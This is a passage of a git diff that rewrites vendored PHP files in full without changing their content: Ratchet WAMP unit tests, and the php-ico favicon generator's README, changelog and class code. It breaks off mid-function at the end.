$topic->add($this->newConn()); - - $topic->remove($tracked); - - $this->assertEquals(2, count($topic)); - } - - public function testBroadcast() { - $msg = 'Hello World!'; - $name = 'Batman'; - $protocol = json_encode(array(8, $name, $msg)); - - $first = $this->getMock('Ratchet\\Wamp\\WampConnection', array('send'), array($this->getMock('\\Ratchet\\ConnectionInterface'))); - $second = $this->getMock('Ratchet\\Wamp\\WampConnection', array('send'), array($this->getMock('\\Ratchet\\ConnectionInterface'))); - - $first->expects($this->once()) - ->method('send') - ->with($this->equalTo($protocol)); - - $second->expects($this->once()) - ->method('send') - ->with($this->equalTo($protocol)); - - $topic = new Topic($name); - $topic->add($first); - $topic->add($second); - - $topic->broadcast($msg); - } - - public function testBroadcastWithExclude() { - $msg = 'Hello odd numbers'; - $name = 'Excluding'; - $protocol = json_encode(array(8, $name, $msg)); - - $first = $this->getMock('Ratchet\\Wamp\\WampConnection', array('send'), array($this->getMock('\\Ratchet\\ConnectionInterface'))); - $second = $this->getMock('Ratchet\\Wamp\\WampConnection', array('send'), array($this->getMock('\\Ratchet\\ConnectionInterface'))); - $third = $this->getMock('Ratchet\\Wamp\\WampConnection', array('send'), array($this->getMock('\\Ratchet\\ConnectionInterface'))); - - $first->expects($this->once()) - ->method('send') - ->with($this->equalTo($protocol)); - - $second->expects($this->never())->method('send'); - - $third->expects($this->once()) - ->method('send') - ->with($this->equalTo($protocol)); - - $topic = new Topic($name); - $topic->add($first); - $topic->add($second); - $topic->add($third); - - $topic->broadcast($msg, array($second->WAMP->sessionId)); - } - - public function testBroadcastWithEligible() { - $msg = 'Hello white list'; - $name = 'Eligible'; - $protocol = json_encode(array(8, $name, $msg)); - - $first = $this->getMock('Ratchet\\Wamp\\WampConnection', array('send'), array($this->getMock('\\Ratchet\\ConnectionInterface'))); - $second = $this->getMock('Ratchet\\Wamp\\WampConnection', array('send'), array($this->getMock('\\Ratchet\\ConnectionInterface'))); - $third = $this->getMock('Ratchet\\Wamp\\WampConnection', array('send'), array($this->getMock('\\Ratchet\\ConnectionInterface'))); - - $first->expects($this->once()) - ->method('send') - ->with($this->equalTo($protocol)); - - $second->expects($this->never())->method('send'); - - $third->expects($this->once()) - ->method('send') - ->with($this->equalTo($protocol)); - - $topic = new Topic($name); - $topic->add($first); - $topic->add($second); - $topic->add($third); - - $topic->broadcast($msg, array(), array($first->WAMP->sessionId, $third->WAMP->sessionId)); - } - - public function testIterator() { - $first = $this->newConn(); - $second = $this->newConn(); - $third = $this->newConn(); - - $topic = new Topic('Joker'); - $topic->add($first)->add($second)->add($third); - - $check = array($first, $second, $third); - - foreach ($topic as $mock) { - $this->assertNotSame(false, array_search($mock, $check)); - } - } - - public function testToString() { - $name = 'Bane'; - $topic = new Topic($name); - - $this->assertEquals($name, (string)$topic); - } - - public function testDoesHave() { - $conn = $this->newConn(); - $topic = new Topic('Two Face'); - $topic->add($conn); - - $this->assertTrue($topic->has($conn)); - } - - public function testDoesNotHave() { - $conn = $this->newConn(); - $topic = new Topic('Alfred'); - - $this->assertFalse($topic->has($conn)); - } - - public function testDoesNotHaveAfterRemove() { - $conn = $this->newConn(); - $topic = new Topic('Ras'); - - $topic->add($conn)->remove($conn); - - $this->assertFalse($topic->has($conn)); - } - - protected function newConn() { - return new WampConnection($this->getMock('\\Ratchet\\ConnectionInterface')); - } -} +assertEquals($id, $topic->getId()); + } + + public function testAddAndCount() { + $topic = new Topic('merp'); + + $topic->add($this->newConn()); + $topic->add($this->newConn()); + $topic->add($this->newConn()); + + $this->assertEquals(3, count($topic)); + } + + public function testRemove() { + $topic = new Topic('boop'); + $tracked = $this->newConn(); + + $topic->add($this->newConn()); + $topic->add($tracked); + $topic->add($this->newConn()); + + $topic->remove($tracked); + + $this->assertEquals(2, count($topic)); + } + + public function testBroadcast() { + $msg = 'Hello World!'; + $name = 'Batman'; + $protocol = json_encode(array(8, $name, $msg)); + + $first = $this->getMock('Ratchet\\Wamp\\WampConnection', array('send'), array($this->getMock('\\Ratchet\\ConnectionInterface'))); + $second = $this->getMock('Ratchet\\Wamp\\WampConnection', array('send'), array($this->getMock('\\Ratchet\\ConnectionInterface'))); + + $first->expects($this->once()) + ->method('send') + ->with($this->equalTo($protocol)); + + $second->expects($this->once()) + ->method('send') + ->with($this->equalTo($protocol)); + + $topic = new Topic($name); + $topic->add($first); + $topic->add($second); + + $topic->broadcast($msg); + } + + public function testBroadcastWithExclude() { + $msg = 'Hello odd numbers'; + $name = 'Excluding'; + $protocol = json_encode(array(8, $name, $msg)); + + $first = $this->getMock('Ratchet\\Wamp\\WampConnection', array('send'), array($this->getMock('\\Ratchet\\ConnectionInterface'))); + $second = $this->getMock('Ratchet\\Wamp\\WampConnection', array('send'), array($this->getMock('\\Ratchet\\ConnectionInterface'))); + $third = $this->getMock('Ratchet\\Wamp\\WampConnection', array('send'), array($this->getMock('\\Ratchet\\ConnectionInterface'))); + + $first->expects($this->once()) + ->method('send') + ->with($this->equalTo($protocol)); + + $second->expects($this->never())->method('send'); + + $third->expects($this->once()) + ->method('send') + ->with($this->equalTo($protocol)); + + $topic = new Topic($name); + $topic->add($first); + $topic->add($second); + $topic->add($third); + + $topic->broadcast($msg, array($second->WAMP->sessionId)); + } + + public function testBroadcastWithEligible() { + $msg = 'Hello white list'; + $name = 'Eligible'; + $protocol = json_encode(array(8, $name, $msg)); + + $first = $this->getMock('Ratchet\\Wamp\\WampConnection', array('send'), array($this->getMock('\\Ratchet\\ConnectionInterface'))); + $second = $this->getMock('Ratchet\\Wamp\\WampConnection', array('send'), array($this->getMock('\\Ratchet\\ConnectionInterface'))); + $third = $this->getMock('Ratchet\\Wamp\\WampConnection', array('send'), array($this->getMock('\\Ratchet\\ConnectionInterface'))); + + $first->expects($this->once()) + ->method('send') + ->with($this->equalTo($protocol)); + + $second->expects($this->never())->method('send'); + + $third->expects($this->once()) + ->method('send') + ->with($this->equalTo($protocol)); + + $topic = new Topic($name); + $topic->add($first); + $topic->add($second); + $topic->add($third); + + $topic->broadcast($msg, array(), array($first->WAMP->sessionId, $third->WAMP->sessionId)); + } + + public function testIterator() { + $first = $this->newConn(); + $second = $this->newConn(); + $third = $this->newConn(); + + $topic = new Topic('Joker'); + $topic->add($first)->add($second)->add($third); + + $check = array($first, $second, $third); + + foreach ($topic as $mock) { + $this->assertNotSame(false, array_search($mock, $check)); + } + } + + public function testToString() { + $name = 'Bane'; + $topic = new Topic($name); + + $this->assertEquals($name, (string)$topic); + } + + public function testDoesHave() { + $conn = $this->newConn(); + $topic = new Topic('Two Face'); + $topic->add($conn); + + $this->assertTrue($topic->has($conn)); + } + + public function testDoesNotHave() { + $conn = $this->newConn(); + $topic = new Topic('Alfred'); + + $this->assertFalse($topic->has($conn)); + } + + public function testDoesNotHaveAfterRemove() { + $conn = $this->newConn(); + $topic = new Topic('Ras'); + + $topic->add($conn)->remove($conn); + + $this->assertFalse($topic->has($conn)); + } + + protected function newConn() { + return new WampConnection($this->getMock('\\Ratchet\\ConnectionInterface')); + } +} diff --git a/vendor/cboden/ratchet/tests/unit/Wamp/WampConnectionTest.php b/vendor/cboden/ratchet/tests/unit/Wamp/WampConnectionTest.php index 3556502797..adf59d538d 100644 --- a/vendor/cboden/ratchet/tests/unit/Wamp/WampConnectionTest.php +++ b/vendor/cboden/ratchet/tests/unit/Wamp/WampConnectionTest.php @@ -1,77 +1,77 @@ -mock = $this->getMock('\\Ratchet\\ConnectionInterface'); - $this->conn = new WampConnection($this->mock); - } - - public function testCallResult() { - $callId = uniqid(); - $data = array('hello' => 'world', 'herp' => 'derp'); - - $this->mock->expects($this->once())->method('send')->with(json_encode(array(3, $callId, $data))); - - $this->conn->callResult($callId, $data); - } - - public function testCallError() { - $callId = uniqid(); - $uri = 'http://example.com/end/point'; - - $this->mock->expects($this->once())->method('send')->with(json_encode(array(4, $callId, $uri, ''))); - - $this->conn->callError($callId, $uri); - } - - public function testCallErrorWithTopic() { - $callId = uniqid(); - $uri = 'http://example.com/end/point'; - - $this->mock->expects($this->once())->method('send')->with(json_encode(array(4, $callId, $uri, ''))); - - $this->conn->callError($callId, new Topic($uri)); - } - - public function testDetailedCallError() { - $callId = uniqid(); - $uri = 'http://example.com/end/point'; - $desc = 'beep boop beep'; - $detail = 'Error: Too much awesome'; - - $this->mock->expects($this->once())->method('send')->with(json_encode(array(4, $callId, $uri, $desc, $detail))); - - $this->conn->callError($callId, $uri, $desc, $detail); - } - - public function testPrefix() { - $shortOut = 'outgoing'; - $longOut = 'http://example.com/outgoing'; - - $this->mock->expects($this->once())->method('send')->with(json_encode(array(1, $shortOut, $longOut))); - - $this->conn->prefix($shortOut, $longOut); - } - - public function testGetUriWhenNoCurieGiven() { - $uri = 'http://example.com/noshort'; - - $this->assertEquals($uri, $this->conn->getUri($uri)); - } - - public function testClose() { - $mock = $this->getMock('\\Ratchet\\ConnectionInterface'); - $conn = new WampConnection($mock); - - $mock->expects($this->once())->method('close'); - - $conn->close(); - } -} +mock = $this->getMock('\\Ratchet\\ConnectionInterface'); + $this->conn = new WampConnection($this->mock); + } + + public function testCallResult() { + $callId = uniqid(); + $data = array('hello' => 'world', 'herp' => 'derp'); + + $this->mock->expects($this->once())->method('send')->with(json_encode(array(3, $callId, $data))); + + $this->conn->callResult($callId, $data); + } + + public function testCallError() { + $callId = uniqid(); + $uri = 'http://example.com/end/point'; + + $this->mock->expects($this->once())->method('send')->with(json_encode(array(4, $callId, $uri, ''))); + + $this->conn->callError($callId, $uri); + } + + public function testCallErrorWithTopic() { + $callId = uniqid(); + $uri = 'http://example.com/end/point'; + + $this->mock->expects($this->once())->method('send')->with(json_encode(array(4, $callId, $uri, ''))); + + $this->conn->callError($callId, new Topic($uri)); + } + + public function testDetailedCallError() { + $callId = uniqid(); + $uri = 'http://example.com/end/point'; + $desc = 'beep boop beep'; + $detail = 'Error: Too much awesome'; + + $this->mock->expects($this->once())->method('send')->with(json_encode(array(4, $callId, $uri, $desc, $detail))); + + $this->conn->callError($callId, $uri, $desc, $detail); + } + + public function testPrefix() { + $shortOut = 'outgoing'; + $longOut = 'http://example.com/outgoing'; + + $this->mock->expects($this->once())->method('send')->with(json_encode(array(1, $shortOut, $longOut))); + + $this->conn->prefix($shortOut, $longOut); + } + + public function testGetUriWhenNoCurieGiven() { + $uri = 'http://example.com/noshort'; + + $this->assertEquals($uri, $this->conn->getUri($uri)); + } + + public function testClose() { + $mock = $this->getMock('\\Ratchet\\ConnectionInterface'); + $conn = new WampConnection($mock); + + $mock->expects($this->once())->method('close'); + + $conn->close(); + } +} diff --git a/vendor/cboden/ratchet/tests/unit/Wamp/WampServerTest.php b/vendor/cboden/ratchet/tests/unit/Wamp/WampServerTest.php index 483d2cf672..626b1cefe9 100644 --- a/vendor/cboden/ratchet/tests/unit/Wamp/WampServerTest.php +++ b/vendor/cboden/ratchet/tests/unit/Wamp/WampServerTest.php @@ -1,49 +1,49 @@ -_app->expects($this->once())->method('onPublish')->with( - $this->isExpectedConnection() - , new \PHPUnit_Framework_Constraint_IsInstanceOf('\Ratchet\Wamp\Topic') - , $published - , array() - , array() - ); - - $this->_serv->onMessage($this->_conn, json_encode(array(7, 'topic', $published))); - } - - public function testGetSubProtocols() { - // todo: could expand on this - $this->assertInternalType('array', $this->_serv->getSubProtocols()); - } - - public function testConnectionClosesOnInvalidJson() { - $this->_conn->expects($this->once())->method('close'); - $this->_serv->onMessage($this->_conn, 'invalid json'); - } - - public function testConnectionClosesOnProtocolError() { - $this->_conn->expects($this->once())->method('close'); - $this->_serv->onMessage($this->_conn, json_encode(array('valid' => 'json', 'invalid' => 'protocol'))); - } -} +_app->expects($this->once())->method('onPublish')->with( + $this->isExpectedConnection() + , new \PHPUnit_Framework_Constraint_IsInstanceOf('\Ratchet\Wamp\Topic') + , $published + , array() + , array() + ); + + $this->_serv->onMessage($this->_conn, json_encode(array(7, 'topic', $published))); + } + + public function testGetSubProtocols() { + // todo: could expand on this + $this->assertInternalType('array', $this->_serv->getSubProtocols()); + } + + public function testConnectionClosesOnInvalidJson() { + $this->_conn->expects($this->once())->method('close'); + $this->_serv->onMessage($this->_conn, 'invalid json'); + } + + public function testConnectionClosesOnProtocolError() { + $this->_conn->expects($this->once())->method('close'); + $this->_serv->onMessage($this->_conn, json_encode(array('valid' => 'json', 'invalid' => 'protocol'))); + } +} diff --git a/vendor/chrisjean/php-ico/README.md b/vendor/chrisjean/php-ico/README.md index fa383ba0b5..da0be7552d 100644 --- a/vendor/chrisjean/php-ico/README.md +++ b/vendor/chrisjean/php-ico/README.md @@ -1,96 +1,96 @@ -PHP ICO - The PHP ICO Generator -=============================== - -PHP ICO provides an easy-to-use PHP class that generates valid [ICO files](http://en.wikipedia.org/wiki/ICO_%28file_format%29). Note that these are not simply BMP, GIF, or PNG formatted images with an extension of ico, the images generated by this class are fully valid ICO-formatted image files. - -The class uses the GD library for reading an image from the source file and uses pure PHP for generating the ICO file format. In theory, any image format that GD can read can be used as a source image to generate the ICO file. I tested this library with JPEG, GIF, and PNG images with great results. If an animated GIF is supplied, the first frame will be used to generate the ICO image. - -The PHP ICO library is available on Composer via Packagist at `chrisjean/php-ico`. - -ICO Format Details ------------------- - -The primary goal of creating this class was to have a simple-to-use and reliable method of generating ICO files for use as [favicons](http://en.wikipedia.org/wiki/Favicon) in websites. This goal drove much of the development and is the reason for some of the limitations in the resulting functionality. - -ICO files support two different ways of encoding the actual image data: the [Windows BMP](http://en.wikipedia.org/wiki/BMP_file_format) format and the [PNG](http://en.wikipedia.org/wiki/Portable_Network_Graphics) format. Since support for the PNG format was introduced in Windows Vista and both older and newer versions of Windows support the BMP enocoding, the BMP encoding method was used. - -Images are encoded using 32 bits per pixel. This allows for alpha channel information in the resulting images. Support for 32 bit images was added in Windows XP. This means that older versions of Windows are not likely to display the ICO images properly, if at all. The generated images have not been tested on versions of Windows predating XP. - -Usage ------ - -The following is a very basic example of using the PHP ICO library: - -```php -require( dirname( __FILE__ ) . '/class-php-ico.php' ); - -$source = dirname( __FILE__ ) . '/example.gif'; -$destination = dirname( __FILE__ ) . '/example.ico'; - -$ico_lib = new PHP_ICO( $source ); -$ico_lib->save_ico( $destination ); -```` - -It takes a source file named `example.gif` and produce an output ICO file named `example.ico`. `example.ico` will contain a single image that is the same size as the source image. - -The ICO file format is capable of holding multiple images, each of a different size. The PHP ICO library opens up this feature of the ICO format as shown in the following example: - -```php -require( dirname( __FILE__ ) . '/class-php-ico.php' ); - -$source = dirname( __FILE__ ) . '/example.gif'; -$destination = dirname( __FILE__ ) . '/example.ico'; - -$ico_lib = new PHP_ICO( $source, array( array( 32, 32 ), array( 64, 64 ) ) ); -$ico_lib->save_ico( $destination ); -``` - -As with the previous example, this example produces `example.ico` from the `example.gif` source file. In this example, sizes were passed to the constructor that result in the `example.ico` file containing two images: one that is 32x32 and one that is 64x64. Since the same source image is used for each of the contained images, each contained image is simply the source image scaled to the new dimensions. - -Using different source images for the different sizes contained inside an ICO file can create much better results. For instance, you can use a high-quality image for higher-resolution images and use smaller images that are tailored for their specific dimensions for the smaller sizes. The following example shows how the PHP ICO library can be used to create such ICO files: - -```php -require( dirname( __FILE__ ) . '/class-php-ico.php' ); - -$destination = dirname( __FILE__ ) . '/example.ico'; - -$ico_lib = new PHP_ICO(); - -$ico_lib->add_image( dirname( __FILE__ ) . '/example-small.gif', array( array( 16, 16 ), array( 24, 24 ), array( 32, 32 ) ) ); -$ico_lib->add_image( dirname( __FILE__ ) . '/example-medium.gif', array( array( 48, 48 ), array( 96, 96 ) ) ); -$ico_lib->add_image( dirname( __FILE__ ) . '/example-large.gif', array( array( 128, 128 ) ) ); - -$ico_lib->save_ico( $destination ); -``` - -This example creates a single ICO file named `example.ico` just as the previous examples. The difference is that this example used multiple source images to generate the final ICO images. The final ICO image contains a total of six images: 16x16, 24x24, and 32x32 images from `example-small.gif`; 48x48 and 96x96 images from `example-medium.gif`; and a 128x128 image from `example-large.gif`. - -By using this feature of supplying multiple source images with specific sizes for each, you can generate ICO files that have very high-quality images at each supplied resolution. - -Since the PHP ICO library was created to generate favicon files, the following example shows how to generate a favicon ICO file with all the needed dimensions from a single source image: - -```php -require( dirname( __FILE__ ) . '/class-php-ico.php' ); - -$source = dirname( __FILE__ ) . '/example.gif'; -$destination = dirname( __FILE__ ) . '/example.ico'; - -$sizes = array( - array( 16, 16 ), - array( 24, 24 ), - array( 32, 32 ), - array( 48, 48 ), -); - -$ico_lib = new PHP_ICO( $source, $sizes ); -$ico_lib->save_ico( $destination ); -``` - -I've found that the 16x16, 24x24, 32x32, and 48x48 image sizes cover all the sizes that browsers and Windows will try to use a favicon image for. The different sizes come from using the favicon for various browser icons, bookmarks, and various other places. - -Thanks ------- - -I'd like to thank [iThemes](http://ithemes.com) for making this project possible. This code was originally developed to add easy-to-use favicon support to the [Builder theme](http://ithemes.com/purchase/builder-theme/). I asked [Cory](http://corymiller.tv/), owner of iThemes and my boss, if I could share the final code. He gave me the green light. Win for everyone. :) - -Thanks iThemes. Thanks Cory. +PHP ICO - The PHP ICO Generator +=============================== + +PHP ICO provides an easy-to-use PHP class that generates valid [ICO files](http://en.wikipedia.org/wiki/ICO_%28file_format%29). Note that these are not simply BMP, GIF, or PNG formatted images with an extension of ico, the images generated by this class are fully valid ICO-formatted image files. + +The class uses the GD library for reading an image from the source file and uses pure PHP for generating the ICO file format. In theory, any image format that GD can read can be used as a source image to generate the ICO file. I tested this library with JPEG, GIF, and PNG images with great results. If an animated GIF is supplied, the first frame will be used to generate the ICO image. + +The PHP ICO library is available on Composer via Packagist at `chrisjean/php-ico`. + +ICO Format Details +------------------ + +The primary goal of creating this class was to have a simple-to-use and reliable method of generating ICO files for use as [favicons](http://en.wikipedia.org/wiki/Favicon) in websites. This goal drove much of the development and is the reason for some of the limitations in the resulting functionality. + +ICO files support two different ways of encoding the actual image data: the [Windows BMP](http://en.wikipedia.org/wiki/BMP_file_format) format and the [PNG](http://en.wikipedia.org/wiki/Portable_Network_Graphics) format. Since support for the PNG format was introduced in Windows Vista and both older and newer versions of Windows support the BMP enocoding, the BMP encoding method was used. + +Images are encoded using 32 bits per pixel. This allows for alpha channel information in the resulting images. Support for 32 bit images was added in Windows XP. This means that older versions of Windows are not likely to display the ICO images properly, if at all. The generated images have not been tested on versions of Windows predating XP. + +Usage +----- + +The following is a very basic example of using the PHP ICO library: + +```php +require( dirname( __FILE__ ) . '/class-php-ico.php' ); + +$source = dirname( __FILE__ ) . '/example.gif'; +$destination = dirname( __FILE__ ) . '/example.ico'; + +$ico_lib = new PHP_ICO( $source ); +$ico_lib->save_ico( $destination ); +```` + +It takes a source file named `example.gif` and produce an output ICO file named `example.ico`. `example.ico` will contain a single image that is the same size as the source image. + +The ICO file format is capable of holding multiple images, each of a different size. The PHP ICO library opens up this feature of the ICO format as shown in the following example: + +```php +require( dirname( __FILE__ ) . '/class-php-ico.php' ); + +$source = dirname( __FILE__ ) . '/example.gif'; +$destination = dirname( __FILE__ ) . '/example.ico'; + +$ico_lib = new PHP_ICO( $source, array( array( 32, 32 ), array( 64, 64 ) ) ); +$ico_lib->save_ico( $destination ); +``` + +As with the previous example, this example produces `example.ico` from the `example.gif` source file. In this example, sizes were passed to the constructor that result in the `example.ico` file containing two images: one that is 32x32 and one that is 64x64. Since the same source image is used for each of the contained images, each contained image is simply the source image scaled to the new dimensions. + +Using different source images for the different sizes contained inside an ICO file can create much better results. For instance, you can use a high-quality image for higher-resolution images and use smaller images that are tailored for their specific dimensions for the smaller sizes. The following example shows how the PHP ICO library can be used to create such ICO files: + +```php +require( dirname( __FILE__ ) . '/class-php-ico.php' ); + +$destination = dirname( __FILE__ ) . '/example.ico'; + +$ico_lib = new PHP_ICO(); + +$ico_lib->add_image( dirname( __FILE__ ) . '/example-small.gif', array( array( 16, 16 ), array( 24, 24 ), array( 32, 32 ) ) ); +$ico_lib->add_image( dirname( __FILE__ ) . '/example-medium.gif', array( array( 48, 48 ), array( 96, 96 ) ) ); +$ico_lib->add_image( dirname( __FILE__ ) . '/example-large.gif', array( array( 128, 128 ) ) ); + +$ico_lib->save_ico( $destination ); +``` + +This example creates a single ICO file named `example.ico` just as the previous examples. The difference is that this example used multiple source images to generate the final ICO images. The final ICO image contains a total of six images: 16x16, 24x24, and 32x32 images from `example-small.gif`; 48x48 and 96x96 images from `example-medium.gif`; and a 128x128 image from `example-large.gif`. + +By using this feature of supplying multiple source images with specific sizes for each, you can generate ICO files that have very high-quality images at each supplied resolution. + +Since the PHP ICO library was created to generate favicon files, the following example shows how to generate a favicon ICO file with all the needed dimensions from a single source image: + +```php +require( dirname( __FILE__ ) . '/class-php-ico.php' ); + +$source = dirname( __FILE__ ) . '/example.gif'; +$destination = dirname( __FILE__ ) . '/example.ico'; + +$sizes = array( + array( 16, 16 ), + array( 24, 24 ), + array( 32, 32 ), + array( 48, 48 ), +); + +$ico_lib = new PHP_ICO( $source, $sizes ); +$ico_lib->save_ico( $destination ); +``` + +I've found that the 16x16, 24x24, 32x32, and 48x48 image sizes cover all the sizes that browsers and Windows will try to use a favicon image for. The different sizes come from using the favicon for various browser icons, bookmarks, and various other places. + +Thanks +------ + +I'd like to thank [iThemes](http://ithemes.com) for making this project possible. This code was originally developed to add easy-to-use favicon support to the [Builder theme](http://ithemes.com/purchase/builder-theme/). I asked [Cory](http://corymiller.tv/), owner of iThemes and my boss, if I could share the final code. He gave me the green light. Win for everyone. :) + +Thanks iThemes. Thanks Cory. diff --git a/vendor/chrisjean/php-ico/changelog b/vendor/chrisjean/php-ico/changelog index fd6ee2b771..b29202ed17 100644 --- a/vendor/chrisjean/php-ico/changelog +++ b/vendor/chrisjean/php-ico/changelog @@ -1,11 +1,11 @@ -1.0.0 - 2011-08-04 - Initial version. -1.0.1 - 2012-10-01 - Added requirements checks. -1.0.2 - 2013-01-07 - Added bug fix that caused source images with transparency to have artifacts when output at the same dimensions as the source. -1.0.3 - 2016-07-22 - Updated class constructor to __construct() as PHP4-style constructors are now deprecated. Props @nuxodin. - Removed trailing whitespace from blank lines. -1.0.4 - 2016-09-27 - Updated version to get composer to track properly. +1.0.0 - 2011-08-04 + Initial version. +1.0.1 - 2012-10-01 + Added requirements checks. +1.0.2 - 2013-01-07 + Added bug fix that caused source images with transparency to have artifacts when output at the same dimensions as the source. +1.0.3 - 2016-07-22 + Updated class constructor to __construct() as PHP4-style constructors are now deprecated. Props @nuxodin. + Removed trailing whitespace from blank lines. +1.0.4 - 2016-09-27 + Updated version to get composer to track properly. diff --git a/vendor/chrisjean/php-ico/class-php-ico.php b/vendor/chrisjean/php-ico/class-php-ico.php index 3e9735578c..2e9983e7b2 100644 --- a/vendor/chrisjean/php-ico/class-php-ico.php +++ b/vendor/chrisjean/php-ico/class-php-ico.php @@ -1,264 +1,264 @@ -_has_requirements = true; - - - if ( false != $file ) - $this->add_image( $file, $sizes ); - } - - /** - * Add an image to the generator. - * - * This function adds a source image to the generator. It serves two main purposes: add a source image if one was - * not supplied to the constructor and to add additional source images so that different images can be supplied for - * different sized images in the resulting ICO file. For instance, a small source image can be used for the small - * resolutions while a larger source image can be used for large resolutions. - * - * @param string $file Path to the source image file. - * @param array $sizes Optional. An array of sizes (each size is an array with a width and height) that the source image should be rendered at in the generated ICO file. If sizes are not supplied, the size of the source image will be used. - * @return boolean true on success and false on failure. - */ - function add_image( $file, $sizes = array() ) { - if ( ! $this->_has_requirements ) - return false; - - if ( false === ( $im = $this->_load_image_file( $file ) ) ) - return false; - - - if ( empty( $sizes ) ) - $sizes = array( imagesx( $im ), imagesy( $im ) ); - - // If just a single size was passed, put it in array. - if ( ! is_array( $sizes[0] ) ) - $sizes = array( $sizes ); - - foreach ( (array) $sizes as $size ) { - list( $width, $height ) = $size; - - $new_im = imagecreatetruecolor( $width, $height ); - - imagecolortransparent( $new_im, imagecolorallocatealpha( $new_im, 0, 0, 0, 127 ) ); - imagealphablending( $new_im, false ); - imagesavealpha( $new_im, true ); - - $source_width = imagesx( $im ); - $source_height = imagesy( $im ); - - if ( false === imagecopyresampled( $new_im, $im, 0, 0, 0, 0, $width, $height, $source_width, $source_height ) ) - continue; - - $this->_add_image_data( $new_im ); - } - - return true; - } - - /** - * Write the ICO file data to a file path. - * - * @param string $file Path to save the ICO file data into. - * @return boolean true on success and false on failure. - */ - function save_ico( $file ) { - if ( ! $this->_has_requirements ) - return false; - - if ( false === ( $data = $this->_get_ico_data() ) ) - return false; - - if ( false === ( $fh = fopen( $file, 'w' ) ) ) - return false; - - if ( false === ( fwrite( $fh, $data ) ) ) { - fclose( $fh ); - return false; - } - - fclose( $fh ); - - return true; - } - - /** - * Generate the final ICO data by creating a file header and adding the image data. - * - * @access private - */ - function _get_ico_data() { - if ( ! is_array( $this->_images ) || empty( $this->_images ) ) - return false; - - - $data = pack( 'vvv', 0, 1, count( $this->_images ) ); - $pixel_data = ''; - - $icon_dir_entry_size = 16; - - $offset = 6 + ( $icon_dir_entry_size * count( $this->_images ) ); - - foreach ( $this->_images as $image ) { - $data .= pack( 'CCCCvvVV', $image['width'], $image['height'], $image['color_palette_colors'], 0, 1, $image['bits_per_pixel'], $image['size'], $offset ); - $pixel_data .= $image['data']; - - $offset += $image['size']; - } - - $data .= $pixel_data; - unset( $pixel_data ); - - - return $data; - } - - /** - * Take a GD image resource and change it into a raw BMP format. - * - * @access private - */ - function _add_image_data( $im ) { - $width = imagesx( $im ); - $height = imagesy( $im ); - - - $pixel_data = array(); - - $opacity_data = array(); - $current_opacity_val = 0; - - for ( $y = $height - 1; $y >= 0; $y-- ) { - for ( $x = 0; $x < $width; $x++ ) { - $color = imagecolorat( $im, $x, $y ); - - $alpha = ( $color & 0x7F000000 ) >> 24; - $alpha = ( 1 - ( $alpha / 127 ) ) * 255; - - $color &= 0xFFFFFF; - $color |= 0xFF000000 & ( $alpha << 24 ); - - $pixel_data[] = $color; - - - $opacity = ( $alpha <= 127 ) ? 1 : 0; - - $current_opacity_val = ( $current_opacity_val << 1 ) | $opacity; - - if ( ( ( $x + 1 ) % 32 ) == 0 ) { - $opacity_data[] = $current_opacity_val; - $current_opacity_val = 0; - } - } - - if ( ( $x % 32 ) > 0 ) { - while ( ( $x++ % 32 ) > 0 ) - $current_opacity_val = $current_opacity_val << 1; - - $opacity_data[] = $current_opacity_val; - $current_opacity_val = 0; - } - } - - $image_header_size = 40; - $color_mask_size = $width * $height * 4; - $opacity_mask_size = ( ceil( $width / 32 ) * 4 ) * $height; - - - $data = pack( 'VVVvvVVVVVV', 40, $width, ( $height * 2 ), 1, 32, 0, 0, 0, 0, 0, 0 ); - - foreach ( $pixel_data as $color ) - $data .= pack( 'V', $color ); - - foreach ( $opacity_data as $opacity ) - $data .= pack( 'N', $opacity ); - - - $image = array( - 'width' => $width, - 'height' => $height, - 'color_palette_colors' => 0, - 'bits_per_pixel' => 32, - 'size' => $image_header_size + $color_mask_size + $opacity_mask_size, - 'data' => $data, - ); - - $this->_images[] = $image; - } - - /** - * Read in the source image file and convert it into a GD image resource. - * - * @access private - */ - function _load_image_file( $file ) { - // Run a cheap check to verify that it is an image file. - if ( false === ( $size = getimagesize( $file ) ) ) - return false; - - if ( false === ( $file_data = file_get_contents( $file ) ) ) - return false; - - if ( false === ( $im = imagecreatefromstring( $file_data ) ) ) - return false; - - unset( $file_data ); - - - return $im; - } -} +_has_requirements = true; + + + if ( false != $file ) + $this->add_image( $file, $sizes ); + } + + /** + * Add an image to the generator. + * + * This function adds a source image to the generator. It serves two main purposes: add a source image if one was + * not supplied to the constructor and to add additional source images so that different images can be supplied for + * different sized images in the resulting ICO file. For instance, a small source image can be used for the small + * resolutions while a larger source image can be used for large resolutions. + * + * @param string $file Path to the source image file. + * @param array $sizes Optional. An array of sizes (each size is an array with a width and height) that the source image should be rendered at in the generated ICO file. If sizes are not supplied, the size of the source image will be used. + * @return boolean true on success and false on failure. + */ + function add_image( $file, $sizes = array() ) { + if ( ! $this->_has_requirements ) + return false; + + if ( false === ( $im = $this->_load_image_file( $file ) ) ) + return false; + + + if ( empty( $sizes ) ) + $sizes = array( imagesx( $im ), imagesy( $im ) ); + + // If just a single size was passed, put it in array. + if ( ! is_array( $sizes[0] ) ) + $sizes = array( $sizes ); + + foreach ( (array) $sizes as $size ) { + list( $width, $height ) = $size; + + $new_im = imagecreatetruecolor( $width, $height ); + + imagecolortransparent( $new_im, imagecolorallocatealpha( $new_im, 0, 0, 0, 127 ) ); + imagealphablending( $new_im, false ); + imagesavealpha( $new_im, true ); + + $source_width = imagesx( $im ); + $source_height = imagesy( $im ); + + if ( false === imagecopyresampled( $new_im, $im, 0, 0, 0, 0, $width, $height, $source_width, $source_height ) ) + continue; + + $this->_add_image_data( $new_im ); + } + + return true; + } + + /** + * Write the ICO file data to a file path. + * + * @param string $file Path to save the ICO file data into. + * @return boolean true on success and false on failure. + */ + function save_ico( $file ) { + if ( ! $this->_has_requirements ) + return false; + + if ( false === ( $data = $this->_get_ico_data() ) ) + return false; + + if ( false === ( $fh = fopen( $file, 'w' ) ) ) + return false; + + if ( false === ( fwrite( $fh, $data ) ) ) { + fclose( $fh ); + return false; + } + + fclose( $fh ); + + return true; + } + + /** + * Generate the final ICO data by creating a file header and adding the image data. + * + * @access private + */ + function _get_ico_data() { + if ( ! is_array( $this->_images ) || empty( $this->_images ) ) + return false; + + + $data = pack( 'vvv', 0, 1, count( $this->_images ) ); + $pixel_data = ''; + + $icon_dir_entry_size = 16; + + $offset = 6 + ( $icon_dir_entry_size * count( $this->_images ) ); + + foreach ( $this->_images as $image ) { + $data .= pack( 'CCCCvvVV', $image['width'], $image['height'], $image['color_palette_colors'], 0, 1, $image['bits_per_pixel'], $image['size'], $offset ); + $pixel_data .= $image['data']; + + $offset += 